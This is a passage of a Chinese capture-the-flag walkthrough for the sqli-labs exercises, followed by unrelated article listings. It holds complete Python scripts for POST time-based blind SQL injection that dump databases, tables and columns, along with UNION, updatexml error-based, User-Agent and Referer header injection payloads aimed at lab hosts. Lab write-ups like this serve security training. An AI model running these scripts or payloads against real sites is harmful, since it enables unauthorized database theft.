    for i in range(data_num):
        name = ''
        for j in range(1,100):
            fg = 1
            for it in p1:
                url2 = url + payload2.format(column_name=column_name,db_name=db_name,table_name=table_name,start = i,begin =j,loc_key = it)
                if check_url(url2):
                    name = name + it
                    fg = 0
                    break
            print(name)
            if fg:
                break
        print("ID: ",i+1,"place data_name: ",name)
        data_list.append(name)



if __name__ == "__main__":
    count_db_num()
    show_db_name()

    check_id1 = int(input("请输入ID继续查看哪个数据库?请按照顺序输入,下标从 1 开始: "))
    if check_id1 <= 0 or check_id1 > len(db_list):
        print("input id is error !")
        exit(0)
    count_table_num(db_list[check_id1-1])
    show_table_name(db_list[check_id1-1])


    check_id2 = int(input("请输入ID继续查看哪个表?请按照顺序输入,下标从 1 开始: "))
    if check_id2 <= 0 or check_id2 > len(table_list):
        print("input id is error !")
        exit(0)

    count_column_num(table_list[check_id2-1])
    show_column_name(table_list[check_id2-1])


    check_id3 = int(input("请输入ID继续查看哪个列? 请按照顺序输入,下标从 1 开始："))
    if check_id3 <= 0 or check_id3 > len(column_list):
        print("input id is error !")
        exit(0)

    count_data_num(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])
    print("喵喵喵？")
    show_data_name(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])

less10（基于GET双引号基于时间盲注）

从名字就能看出来和less9的区别就在于注入点是双引号，于是将上面的payload改为双引号即可我，我这里就不多写了

less11（基于错误的POST单引号字符型注入）

从现在开始就是Post类型的注入了，看到标题，我们其实就能发现只是一个简单的单引号字符型注入

在这里插入图片描述
于是我们输入1'发现有语法错误，然后加上1'#，发现正常了，于是这里存在注入，其实这里和less1是一样的，只不过注入方式变成了POST提交，于是我这里直接给出payload：uname=1' union select 1,group_concat(flag) from ctftraining.flag#&passwd=&submit=Submit ctftraining.flag#&passwd=&submit=Submit

过程可以参考less1的注入过程，如爆库、表、字段等操作

less12 (基于错误的POST双引号字符型注入)

这也没啥好说的，区别就在于注入点是双引号，注入流程可以参考less2，我直接放payload了：uname=1" union select 1,group_concat(flag) from ctftraining.flag#&passwd=&submit=Submit ctftraining.flag#

less13（基于POST单引号双注入变形）

通过测试我们能找到注入点大概是')然后够我们简单测试一下：1') union select 1,2#，发现并没有回显：

在这里插入图片描述
于是我们尝试报错注入：
在这里插入图片描述

发现报错信息是会回显的，于是我们参考less5的报错注入流程然后进行注入，我这里也就直接放payload了uname=1') union Select count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a#&passwd=&submit=Submit

在这里插入图片描述

less14（基于POST双引号双注入变形）

这里和less13类似，只不过sql语句的闭合方式从')变成了"，于是我这里直接上payload：uname=1" union Select count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a#&passwd=&submit=Submit

在这里插入图片描述

less15（基于POST单引号布尔型时间盲注）

这里我们无论输入什么，都没有反馈信息，于是我们尝试盲注，我这里就直接放脚本了，大家可以改url即可

import requests
import time
import datetime
import math
import string
import json
"""

【这个代码是一个POST时间类型的盲注】

需要注意的参数：
    1.下面的payload是注入的方式
    2.url是平台的地址
    3.注意一下每一个show_xx_name中的字段名的长度，我上面几个是默认的30，
    但是一般来说数据的部分就会藏有flag这个长度可能会很长，当然也不排除前面
    的一些例如数据库名称或者是表的名称也很长
    4.p1参数是盲注中可能会用到的字段名中的字母，你也可以直接用ascii码的可见长度,python有个自带的string.printable
    即[33,126]，其中48~57为0到9十个阿拉伯数字，65~90为26个大写英文字母，97~122号为26个小写英文字母
"""

url = "http://cde645ef-4792-402b-986a-af1027326985.node4.buuoj.cn/Less-15/"
p1 = "abcdefghijklmnopqrstuvwxyz0123456789}{-"


payload= "'and if((substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1))='{loc_key}',1,sleep(5))%23"


dbnum = 0
db_list=[]
table_num = 0
table_list = []
column_num = 1
column_list = []
data_num = 0
data_list = []

def check_url(url:str,data:dict):
    try:
        res = requests.post(url,data=data,timeout=3)
        return True
    except Exception as e:
        return False


def count_db_num():
    global url
    global dbnum
    
    payload1 = "admin\'and if((select count(schema_name) from information_schema.schemata)={mid},1,sleep(5))#"
    low = 1
    hig = 100
    
    for i in range(low,hig):
        url1 = url
        data={"uname":payload1.format(mid = i),"passwd":"admin","submit":"Submit"}
        if check_url(url1,data):
            dbnum = i
            print("database nums :",dbnum)
            break

def show_db_name():
    global db_list
    global dbnum
    global url
    payload2 = "admin\'and if(substr((select schema_name from information_schema.schemata limit {start},1),{begin},1)='{loc_key}',1,sleep(5))#"
    
    for i in range(dbnum):
        name = ''
        for j in range(1,30):
            fg = 1
            for it in p1:
                url2 = url
                data={"uname":payload2.format(start = i,begin =j,loc_key = it),"passwd":"admin","submit":"Submit"}
                # print(url2)
                # print(data)
                if check_url(url2,data):
                    name = name + it
                    fg = 0
                    break
            print(name)
            if fg:
                break
        print("ID: ",i+1,"place dbname: ",name)
        db_list.append(name)

def count_table_num(db_name:str):
    global table_num
    global url
    payload1 = "admin\'and if((select count(table_name) from information_schema.tables where table_schema = '{db_name}') = {mid},1,sleep(5) )#"
    low = 1
    hig = 100
    
    for i in range(low,hig):
        url1 = url
        data={"uname":payload1.format(db_name=db_name,mid = i),"passwd":"admin","submit":"Submit"}
        if check_url(url1,data):
            table_num = i
            print("table nums : ",table_num)
            break

def show_table_name(db_name:str):
    global table_list
    global table_num
    global url
    payload2 = "admin\'and if(substr((select table_name from information_schema.tables where table_schema = '{db_name}' limit {start},1),{begin},1)='{loc_key}',1,sleep(5))#"
    
    for i in range(table_num):
        name = ''
        for j in range(1,30):
            fg = 1
            for it in p1:
                url2 = url
                data={"uname":payload2.format(db_name=db_name,start = i,begin =j,loc_key = it),"passwd":"admin","submit":"Submit"}
                if check_url(url2,data):
                    name = name + it
                    fg = 0
                    break
            if fg:
                break
        print("ID: ",i+1,"place table_name: ",name)
        table_list.append(name)

def count_column_num(table_name:str):
    global column_num
    global url
    payload1 = "admin\'and if((select count(column_name) from information_schema.columns where table_name = '{table_name}') = {mid},1,sleep(5))#"
    low = 1
    hig = 30
    
    for i in range(low,hig):
        url1 = url
        data={"uname":payload1.format(table_name=table_name,mid = i),"passwd":"admin","submit":"Submit"}
        if check_url(url1,data):
            column_num = i
            print("column num : ",column_num)
            break

def show_column_name(table_name:str):
    global column_list
    global column_num
    payload2 = "admin\'and if(substr((select column_name from information_schema.columns where table_name = '{table_name}' limit {start},1),{begin},1)='{loc_key}',1,sleep(5))#"
    
    for i in range(column_num):
        name = ''
        for j in range(1,100):
            fg = 1
            for it in p1:
                url2 = url
                data={"uname":payload2.format(table_name=table_name,start = i,begin =j,loc_key = it),"passwd":"admin","submit":"Submit"}
                if check_url(url2,data):
                    name = name + it
                    fg = 0
                    break
            if fg:
                break
        print("ID: ",i+1,"place column_name: ",name)
        column_list.append(name)


def count_data_num(db_name:str,table_name:str,column_name:str):
    global data_num
    payload1 = "admin\'and if((select count({column_name}) from {db_name}.{table_name} limit 0,1) = {mid},1,sleep(5))#"
    low = 1
    hig = 100
    
    for i in range(low,hig):
        url1 = url
        data={"uname":payload1.format(column_name=column_name,db_name=db_name,table_name=table_name,mid = i),"passwd":"admin","submit":"Submit"}
        if check_url(url1,data):
            data_num = i
            print("data num : ",data_num)
            break
    
def show_data_name(db_name:str,table_name:str,column_name:str):
    global data_list
    global data_num
    payload2 = "admin\'and if(substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1)='{loc_key}',1,sleep(5))#"
    
    for i in range(data_num):
        name = ''
        for j in range(1,100):
            fg = 1
            for it in p1:
                url2 = url
                data={"uname":payload2.format(column_name=column_name,db_name=db_name,table_name=table_name,start = i,begin =j,loc_key = it),"passwd":"admin","submit":"Submit"}
                if check_url(url2,data):
                    name = name + it
                    fg = 0
                    break
            print(name)
            if fg:
                break
        print("ID: ",i+1,"place data_name: ",name)
        data_list.append(name)



if __name__ == "__main__":
    count_db_num()
    show_db_name()

    check_id1 = int(input("请输入ID继续查看哪个数据库?请按照顺序输入,下标从 1 开始: "))
    if check_id1 <= 0 or check_id1 > len(db_list):
        print("input id is error !")
        exit(0)
    count_table_num(db_list[check_id1-1])
    show_table_name(db_list[check_id1-1])


    check_id2 = int(input("请输入ID继续查看哪个表?请按照顺序输入,下标从 1 开始: "))
    if check_id2 <= 0 or check_id2 > len(table_list):
        print("input id is error !")
        exit(0)

    count_column_num(table_list[check_id2-1])
    show_column_name(table_list[check_id2-1])


    check_id3 = int(input("请输入ID继续查看哪个列? 请按照顺序输入,下标从 1 开始："))
    if check_id3 <= 0 or check_id3 > len(column_list):
        print("input id is error !")
        exit(0)

    count_data_num(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])
    print("喵喵喵？")
    show_data_name(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])

less16（基于POST双引号布尔型时间盲注）

通过简单测试，我们发现和上面只不过是闭合方式不同，于是我们从'改成"即可，可以参照less15的脚本

less17（基于POST错误的更新）

还是和之前一样，我们尝试在user name处进行注入测试，发现没有用，只会返回一个bug界面

在这里插入图片描述
于是我们尝试在密码框注入，我们发现这里存在单引号注入，并且报错会回显，于是我们尝试报错注入

在这里插入图片描述
我们发现联合注入不行，于是我们使用xpath报错注入：uname=admin&passwd=1'and updatexml(1,concat(0x7e,(select user()),0x7e),1)#&submit=Submit

发现可以回显：

在这里插入图片描述

于是就跟着less5的步骤一步一步做即可，我这里直接给出flag的payload：

uname=admin&passwd=1'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),1),0x7e),1)#&submit=Submit
在这里插入图片描述
我们发现只回显了31位，于是我们调整mid参数即可获取后面的flag
uname=admin&passwd=1'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),32),0x7e),1)#&submit=Submit

在这里插入图片描述

less18（基于POST错误的Uagent字段数据头注入）

这里我们同样进行测试，发现user name和password这两个框没有注入点，并且我们发现这里显示了一个ip地址，应该是我们的

在这里插入图片描述
那么我们猜测是否在这里存在注入点，于是我们聚焦到x-forward-for和X-Real-IP上面，用bp发包自定义一些注入操作，但是我们发现并没有什么用，于是我们注意到这个页面登录账号失败会显示fail，那么我们尝试弱密码爆破一下，然后得到了账号admin的密码admin，同时我们发现这里多了一行信息

在这里插入图片描述
于是我们猜测这里是否存在注入点，我们就在User-Agent后面加一个'发现这里存在注入，有一个报错的提示：

在这里插入图片描述

经过测试，我们发现是单引号闭合，并且#没用，于是我们尝试报错盲注（当然你也可以去试试其他注入，比如联合，不过貌似没用，因为没有回显）,闭合方式为：' and '1' = '1

报错盲注：User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

我们可以看到反馈：

在这里插入图片描述

于是流程可以参照less5，我这里就直接给出flag的payload了，这里的显示同样不全，需要我们通过字符串函数截取

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),1),0x7e),1) and '1' = '1

在这里插入图片描述

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),32),0x7e),1) and '1' = '1

在这里插入图片描述

less19（基于POST错误的Referer字段数据头注入）

和上面注入方式相同，只不过注入点变为了Referer字段，我这里就直接给payload了，流程参上~

Referer: http://8eced883-dce2-4b9b-87a1-c0c547f7c3bd.node4.buuoj.cn/Less-19/'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),1),0x7e),1) and '1' = '1

在这里插入图片描述

Referer: http://8eced883-dce2-4b9b-87a1-c0c547f7c3bd.node4.buuoj.cn/Less-19/'and updatexml(1,concat(0x7e,mid((select flag from ctftraining.flag),1),0x7e),32) and '1' = '1

在这里插入图片描述

less20（基于POST错误的Cookie-Uagent字段数据头注入）

我们直接登录admin账号，然后发现给我们回显一个I LOVE YOU COOKIES

在这里插入图片描述
于是猜测cookies有注入，不过这里笔者这里注入没效果，具体原因不详

在这里插入图片描述

大家可以看看别人的博客吧~http://wjhsh.net/AmoBlogs-p-8679819.html

less21 （基于base64编码单引号的Cookie注入）

看了其他大佬的题解，注入方式和上面相同，只不过，注入代码需要转为base64才行

less22（基于base64编码加密的双引号Cookie注入）

这里需要注意闭合方式为双引号，以及需要base64加密

参考博客

  • https://cloud.tencent.com/developer/article/1906116
  • https://xz.aliyun.com/t/385
  • https://blog.csdn.net/qq_35544379/article/details/77453019

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/63271.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Docker的资源管理控制（CPU、内存、磁盘IO配额）

Docker的资源管理控制（CPU、内存、磁盘IO配额）

目录 一、CPU 资源控制 1、设置CPU使用率上限 &#xff08;1&#xff09;查看CPU使用率 &#xff08;2&#xff09;进行CPU压力测试 &#xff08;3&#xff09;设置CPU使用率 2、设置CPU资源占用比&#xff08;设置多个容器时才有效&#xff09; 3、设置容器绑定指定的CP…
阅读更多...
word如何转化成pdf，最新图文教学，学会只需1分钟

word如何转化成pdf，最新图文教学，学会只需1分钟

​在日常生活中&#xff0c;我们经常会遇到需要将word文档转换成PDF格式的情况。那word如何转化成pdf呢&#xff1f;word文件转换成PDF并不难&#xff0c;只要你操作正确&#xff0c;就可以将其快速地转化成PDF。下面就给大家分享一下操作步骤吧。 一、第一步&#xff0c;打开需…
阅读更多...
嵌入式开发--STM32硬件SPI驱动74HC595

嵌入式开发--STM32硬件SPI驱动74HC595

本篇是硬件SPI口驱动74HC595。 IO口模拟时序软件驱动74HC595见这一篇文章&#xff1a;嵌入式开发–IO口扩展–74HC595 硬件连接如下&#xff1a; 只用了一个74HC595&#xff0c;如果需要多个74HC595级联&#xff0c;参考前面的链接&#xff0c;里面有电路&#xff0c;不需要额…
阅读更多...
KubeEdge云原生边缘计算公开课02——云原生边缘计算千行百业核心应用

KubeEdge云原生边缘计算公开课02——云原生边缘计算千行百业核心应用

KubeEdge云原生边缘计算公开课02——云原生边缘计算千行百业核心应用张琦&#xff1a;云原生边缘计算产业发展现状与趋势展望——KubeEdge云原生边缘计算产业发展概述一、云原生边缘计算的产业场景1.云计算与边缘计算的对比2.传统的把边缘计算逐步向CloudNative技术演进3.传统本…
阅读更多...
cookie加密解密和保证数据完整性（不被篡改）

cookie加密解密和保证数据完整性（不被篡改）

cookie加密解密和保证数据完整性 AES-128-CBC加密算法 AES-128-CBC是一种分组对称加密算法&#xff0c;即用同一组key进行明文和密文的转换&#xff0c;以128bit为一组&#xff0c;128bit16Byte&#xff0c;意思就是明文的16字节为一组对应加密后的16字节的密文。 若最后剩余…
阅读更多...
计算机SCI论文的摘要怎么写？ - 易智编译EaseEditing

计算机SCI论文的摘要怎么写？ - 易智编译EaseEditing

摘要第一部分的 1-3 句话必须让读者知道你为什么进行这项研究。 引导性句子既陈述了主要议题&#xff0c;也说明了问题。这样&#xff0c;读者的注意力被立刻抓住了。 下一个句子可以接着讲述这个领域缺乏什么样的信息&#xff0c;或者以前的研究者曾做了哪些努力来解决这个问…
阅读更多...
你居然还去服务器上捞日志，搭个日志收集系统难道不香吗？

你居然还去服务器上捞日志，搭个日志收集系统难道不香吗？

摘要 ELK日志收集系统进阶使用&#xff0c;本文主要讲解如何打造一个线上环境真实可用的日志收集系统。有了它&#xff0c;你就可以和去服务器上捞日志说再见了&#xff01; ELK环境安装 ELK是指Elasticsearch、Kibana、Logstash这三种服务搭建的日志收集系统&#xff0c;具体…
阅读更多...
序列化工具Protobuf在Idea中的配置和在java中的使用实例

序列化工具Protobuf在Idea中的配置和在java中的使用实例

一、什么是 protobuf &#xff1f; 1、protobuf 来源&#xff1f; Protocal Buffers(简称protobuf)是谷歌的一项技术&#xff0c;用于结构化的数据序列化、反序列化。 由于protobuf是跨语言的&#xff0c;所以用不同的语言序列化对象后&#xff0c;生成一段字节码&#xff0c;…
阅读更多...
5G无线技术基础自学系列 | 5G上下行解耦技术

5G无线技术基础自学系列 | 5G上下行解耦技术

素材来源&#xff1a;《5G无线网络规划与优化》 一边学习一边整理内容&#xff0c;并与大家分享&#xff0c;侵权即删&#xff0c;谢谢支持&#xff01; 附上汇总贴&#xff1a;5G无线技术基础自学系列 | 汇总_COCOgsta的博客-CSDN博客 C-Band TDD系统拥有大带宽&#xff0c;…
阅读更多...
Spring Boot 3.0 正式发布

Spring Boot 3.0 正式发布

导读Spring Boot 3.0 现已正式发布&#xff0c;此版本包含了 12 个月以来 151 个人的 5700 多次 commit 的工作结晶。这是自 4.5 年前发布 2.0 以来&#xff0c;Spring Boot 的第一次重大修订。它也是第一个支持 Spring Framework 6.0 和 GraalVM 的 Spring Boot GA 版本。 由于…
阅读更多...
Windows10安装DM8-达梦数据库

Windows10安装DM8-达梦数据库

目录1. 下载安装包1.1 点击官网下载DM8安装包1.2 安装包解压2. 安装数据库2.1 打开解压后的文件夹&#xff0c;双击打开该iso文件2.2 点击setup.exe进行安装2.3 选择语言2.4 执行安装向导2.5 数据库初始化3. SQL交互查询工具验证数据库安装4. 参考文档及简单的试炼5.DM管理工具…
阅读更多...
System.UnauthorizedAccessException: 对路径“xxx”的访问被拒绝的解决办法

System.UnauthorizedAccessException: 对路径“xxx”的访问被拒绝的解决办法

环境&#xff1a;.net、spring.core、C#、MVC、IIS 8、Windows server standard 2016 操作&#xff1a;读取本地文件夹 现象&#xff1a;爆出如标题异常&#xff0c;因为是在后台调用接口处理本地文件(夹)&#xff0c;前端相关接口显示500 Internal Server Error。 简单理解…
阅读更多...
将“万词王”离线转化为“文络之心“插件之一：复现 wantwords Python/Pytorch 开源项目

将“万词王”离线转化为“文络之心“插件之一：复现 wantwords Python/Pytorch 开源项目

在电影里&#xff0c;无限之书&#xff0c;每一页都是不一样的内容。简单的随机算法其实有点无聊&#xff0c;但借助深度学习技术&#xff0c;化王为心&#xff0c;实现心灵大道的转换&#xff0c;可以让AI生成相互之间有所关联的无限词典之书&#xff01; 访问 wantwords开源…
阅读更多...
python @ 装饰器（修饰器，语法糖）使用与不使用对比总结记录

python @ 装饰器（修饰器，语法糖）使用与不使用对比总结记录

由于看python代码里面函数上的 不爽很久了&#xff0c;为了避免自己又忘记了这里来记录下。 简单总结&#xff1a; 的作用就是在使用 下面的函数&#xff08;如下图的cs2&#xff09;的时候&#xff0c;会在该函数执行前将该函数作为参数扔到后跟着的处理函数先行处理&#x…
阅读更多...
再见 Spring Boot 1.X ，Spring Boot 2.X 走向舞台中心

再见 Spring Boot 1.X ，Spring Boot 2.X 走向舞台中心

2019年8月6日，Spring 官方在其博客宣布，Spring Boot 1.x 停止维护，Spring Boot 1.x 生命周期正式结束。 其实早在2018年7月30号，Spring 官方就已经在博客进行过预告，Spring Boot 1.X 将维护到2019年8月1日。 1.5.x 将会是 Spring Boot 1.0 系列的最后一个大版本。 如今…
阅读更多...
[附源码]计算机毕业设计停车场管理系统Springboot程序

[附源码]计算机毕业设计停车场管理系统Springboot程序

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…
阅读更多...
uniapp——uniapp基础知识

uniapp——uniapp基础知识

文章目录前言一、HBuilderX常用的快捷键&#xff1f;二、项目中的目录二、项目中的目录总结前言 提示&#xff1a;从0开始学习uniapp&#xff1a; uniapp 解决了什么问题&#xff1f; 1解决了跨端的问题&#xff0c;一端多用。并且可以通过条件编译来实现&#xff0c;不同平台…
阅读更多...
【allegro 17.4软件操作保姆级教程九】布线后检查与调整

【allegro 17.4软件操作保姆级教程九】布线后检查与调整

目录 1.1 PCB状态查看 1.2 添加背钻 1.3 隐藏铜皮检查走线 1.5 位号丝印调整 1.6 使用cut功能删除不需要的电气走线或非电气走线 1.7 走线参考层快速检查 1.8 添加MARK点 1.9 添加工艺边 1.10 尺寸标注 1.1 PCB状态查看 点击display-status可以查看状态&#xff1a; 各…
阅读更多...
Spark VS Flink，大数据该学什么

Spark VS Flink，大数据该学什么

Spark VS Flink&#xff1a;功能比较 Spark和Flink中的功能集在很多方面都不同&#xff0c;如下表所示&#xff1a; Flink特点 支持高吞吐、低延迟、高性能的流处理 有状态计算的Exactly-once语义&#xff0c;对于一条message,receiver确保只收到一次 支持带有事件时间&…
阅读更多...
超声功率放大器在MEMS超声测试中的应用

超声功率放大器在MEMS超声测试中的应用

MEMS&#xff08;微机电系统&#xff09;技术的不断发展&#xff0c;目前已经广泛应用在生物、航空、医学、航天等多领域。MEMS传感器即微机电系统&#xff08;Micro-electroMechanicalSystems&#xff09;&#xff0c;是指精密机械系统和微电子电路技术结合发展出来的一项工程…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023